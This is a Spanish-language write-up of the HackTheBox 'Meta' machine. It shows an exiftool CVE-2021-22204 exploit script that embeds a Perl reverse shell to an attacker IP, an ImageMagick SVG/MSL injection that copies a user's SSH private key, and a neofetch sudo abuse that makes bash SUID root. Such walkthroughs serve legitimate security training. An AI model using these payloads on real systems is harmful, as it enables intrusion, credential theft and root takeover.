Meta es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Meta 10.129.141.109 a /etc/hosts como meta.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.92 scan initiated Mon Jan 24 09:03:28 2022 as: nmap -sC -sV -oA enumeration/nmap 10.129.141.109 Nmap scan report for 10.129.141.109 Host is up (0.042s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA) | 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA) |_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519) 80/tcp open http Apache httpd |_http-title: Did not follow redirect to http://artcorp.htb |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Jan 24 09:03:39 2022 -- 1 IP address (1 host up) scanned in 10.83 seconds |
Observamos dos puertos, el 22 y el 80 y un dns nuevo, artcorp.htb que añadimos a nuestro fichero de hosts.
Enumeración
Revisamos en primer lugar el portal web existente en el puerto 80
No observamos gran cosa en la misma, aparte de un producto “MetaView” y un portal de desarrollo que no conocemos su dirección todavía así que vamos a enumerar.
Enumeramos posibles virtualhost con gobuster para tratar de encontra la url de desarrollo que mencionaba en la anterior página
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ gobuster vhost -u http://artcorp.htb/ -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://artcorp.htb/ [+] Method: GET [+] Threads: 150 [+] Wordlist: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/24 09:08:03 Starting gobuster in VHOST enumeration mode =============================================================== Found: dev01.artcorp.htb (Status: 200) [Size: 247] =============================================================== 2022/01/24 09:08:46 Finished =============================================================== |
Y descubrimos un subdominio, dev01, que añadimos al fichero de hosts y accedemos, observando la siguiente ventana
Vemos un único enlace en la misma que nos lleva a una página de subida de imágenes
Observando la misma, al subir un fichero, nos mostrará los metadatos del mismo, así que vamos a hacer una prueba de ello
Revisando la salida obtenida podría tratarse de la librería de exiftool para php, así que buscamos en google y encontramos la vulnerabilidad CVE-2021-22204 que consiste en un RCE y un exploit público para llevar a cabo el ataque.
Así que descargamos el código del exploit y editamos el mismo añadiendo nuestra ip y puerto, quedando el mismo como se ve a continuación
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/bin/env python3 import base64 import subprocess ip = '10.10.14.42' port = '4444' payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('" payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() ) payload = payload + b"'))};\")" payload_file = open('payload', 'w') payload_file.write(payload.decode('utf-8')) payload_file.close() subprocess.run(['bzz', 'payload', 'payload.bzz']) subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz']) subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg']) |
Y ejecutaremos el mismo para generar nuestra shell en el fichero image.jpg
1 2 |
$ python3 exploit.py 1 image files updated |
Ahora que tenemos la imagen generada, abriremos nuestra escucha y subiremos la misma al portal para ganar acceso con el usuario www-data
1 2 3 4 5 6 7 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.42] from meta.htb [10.129.141.109] 39266 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Ahora con el fin de escalar privilegios, enumeramos el sistema y encontramos una tarea de cron muy interesante
Se trata de un script de conversión de imágenes, cuyo contenido es el siguiente
1 2 3 4 5 |
bash-5.0$ cat /usr/local/bin/convert_images.sh cat /usr/local/bin/convert_images.sh #!/bin/bash cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null pkill mogrify |
Se trata de una tarea cronificada que convierte los ficheros existentes en la ruta /var/www/dev01.artcorp.htb/convert_images/
Así que revisamos el binario de mogrify y observamos que es un enlace al binario de magick
1 2 3 |
bash-5.0$ ls -l /usr/local/bin/mogrify ls -l /usr/local/bin/mogrify lrwxrwxrwx 1 root root 6 Aug 29 15:59 /usr/local/bin/mogrify -> magick |
Y cuya versión es la siguiente
1 2 3 4 5 6 7 |
bash-5.0$ /usr/local/bin/magick -version /usr/local/bin/magick -version Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org Copyright: © 1999-2020 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib |
Obtenida la versión, nos vamos a buscar en google y descubrimos que la misma dispone de varias vulnerabilidades, entre las cuales una que permite la copia de ficheros locales
Así que vamos a generar un fichero svg con el siguiente contenido
1 2 3 4 5 6 7 8 9 |
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /tmp/id_rsa`;"'> <read filename="pdf:/etc/passwd"/> <get width="base-width" height="base-height" /> <resize geometry="400x400" /> <write filename="thomas.png" /> <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="msl:poc.svg" height="100" width="100"/> </svg> </image> |
Copiaremos el mismo a la ruta vista anteriormente en el script de conversión
1 |
bash-5.0$ cp poc.svg /var/www/dev01.artcorp.htb/convert_images/ |
Y esperaremos a que se ejecute la tarea para conseguir la clave
1 2 3 4 5 6 7 8 9 |
$ ls -l id_rsa -rw-r--r-- 1 thomas thomas 2590 Jan 24 05:56 id_rsa $ cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn ... ... bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE= -----END OPENSSH PRIVATE KEY----- |
Obteniendo la flag de user
Una vez la tenemos, utilizaremos la misma para acceder con el usuario thomas y conseguir la flag de user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ ssh -i thomas.pem thomas@artcorp.htb Warning: Permanently added the ECDSA host key for IP address '10.129.141.139' to the list of known hosts. Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. thomas@meta:~$ id uid=1000(thomas) gid=1000(thomas) groups=1000(thomas) thomas@meta:~$ ls -l total 4 -rw-r----- 1 thomas thomas 33 Jan 23 20:12 user.txt thomas@meta:~$ cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb thomas@meta:~$ |
Escalado de privilegios
Ahora que ya estamos dentro revisamos los permisos del usuario
1 2 3 4 5 6 |
thomas@meta:~$ sudo -l Matching Defaults entries for thomas on meta: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME User thomas may run the following commands on meta: (root) NOPASSWD: /usr/bin/neofetch \"\" |
Y vemos que tiene permisos para ejecutar el binario de neofetch como root
1 2 3 4 |
thomas@meta:~$ file /usr/bin/neofetch /usr/bin/neofetch: Bourne-Again shell script, UTF-8 Unicode text executable thomas@meta:~$ ls -l /usr/bin/neofetch -rwxr-xr-x 1 root root 283987 Jan 8 2019 /usr/bin/neofetch |
Revisamos posibilidades de explotar el mismo y encontramos una indicación en gtfobins
Revisando el script, el fichero de configuración y un poco en google encontramos que para poder explotar el fallo deberemos hacer varios pasos.
En primer lugar añadir la ruta del fichero de configuración en la variable XDG_CONFIG_HOME
1 |
thomas@meta:~$ export XDG_CONFIG_HOME="$HOME/.config" |
Segundo, añadir permisos de suid al binario de bash a través del fichero de configuración
1 |
thomas@meta:~$ echo "chmod u+s /bin/bash" > /home/thomas/.config/neofetch/config.conf |
Y tercero ejecutar el comando como root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
thomas@meta:~$ sudo /usr/bin/neofetch \"\" _,met$$$$$gg. root@meta ,g$$$$$$$$$$$$$$$P. --------- ,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64 ,$$P' `$$$. Host: VMware Virtual Platform None ',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64 `d$$' ,$P"' . $$$ Uptime: 9 hours, 54 mins $$P d$' , $$P Packages: 495 (dpkg) $$: $$. - ,d$$' Shell: bash 5.0.3 $$; Y$b._ _,d$P' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz Y$$. `.`"Y$$$$P"' GPU: VMware SVGA II Adapter `$$b "-.__ Memory: 124MiB / 1994MiB `Y$$ `Y$$. `$$b. `Y$$b. `"Y$b._ `""" thomas@meta:~$ |
Ahora ya sólo nos queda escalar ejecutando bash como root
1 2 3 |
thomas@meta:~$ /bin/bash -p bash-5.0# id uid=1000(thomas) gid=1000(thomas) euid=0(root) groups=1000(thomas) |
Obteniendo la flag de root
Una vez con permisos sólo nos queda ir a la home del usuario para obtener la flag
1 2 3 4 5 6 7 8 |
bash-5.0# cd /root bash-5.0# ls -l total 8 drwxr-xr-x 2 root root 4096 Aug 30 13:01 conf -rwxr----- 1 root root 33 Jan 23 20:12 root.txt bash-5.0# cat root.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxb bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace